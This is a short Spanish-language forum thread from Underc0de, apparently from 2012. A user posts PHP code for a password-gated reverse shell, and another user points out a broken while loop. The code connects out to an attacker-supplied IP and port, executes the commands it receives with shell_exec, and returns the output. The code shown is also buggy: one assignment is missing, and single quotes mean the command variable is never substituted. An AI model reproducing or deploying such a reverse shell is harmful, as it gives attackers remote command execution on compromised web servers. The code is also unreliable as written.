Underc0de

Programación Web => Back-end => Mensaje iniciado por: Muppet en Julio 11, 2012, 04:33:57 PM

Título: Php Reverse Shell Socket Duda.
Publicado por: Muppet en Julio 11, 2012, 04:33:57 PM
Bueno Arme esta php shell que en un principio no me funcionaba, gracias a la ayuda de Cronos creo q quedo funcionando, apenas pueda la pruebo!

Código (php) [Seleccionar]
<html>
<body>
<center>
<form method="post">
Ip:<br>
<input name="ip" type="text" id="ip"/><br>
Port:<br>
<input name="port" type="text" id="port"/><br>
<input type="submit" value="submit"/>
</form>
</center>
</body>
</html>

<?php
$ip 
$_POST['ip'];
$port $_POST['port'];
if(
$ip != "" && $ip != 0) {
$sock fsockopen ("$ip"$port);
fputs($sock"Password: ");
}
while(
$cmd != 0) {
$log fgets($sock$port);
$log2 md5($log);
if(
$log2 == "5e2c8ac9008420e9ac3c008bef292c01") {
    
fputs($sock"Comando: ");
    
$cmd fgets($sock$port);        
if(
$cmd) {
 
$result shell_exec('$cmd');
fputs($sock"$result");
 
}}else{
echo 
"Acceso Denegado";
}}
?>

Título: Re:Php Reverse Shell Socket Duda.
Publicado por: Cronos en Julio 12, 2012, 11:17:55 AM
Por lo qe eh podido ver, tienes error apartir del While.. lo abres y por lo que veo nunca lo cierras, y otra cosa, esa condicion en un while es un poco rara, cuando saldria del while?
Saludos,, Cronos.-
Título: Re:Php Reverse Shell Socket Duda.
Publicado por: Muppet en Julio 13, 2012, 12:20:53 AM
Creo haberlo reparado, ahora no tengo la posibilidad de testearlo porq no estoy en mi casa y no cuento con una ip fija, si alguien lo prueba escriba si funciono, Gracias Cronos!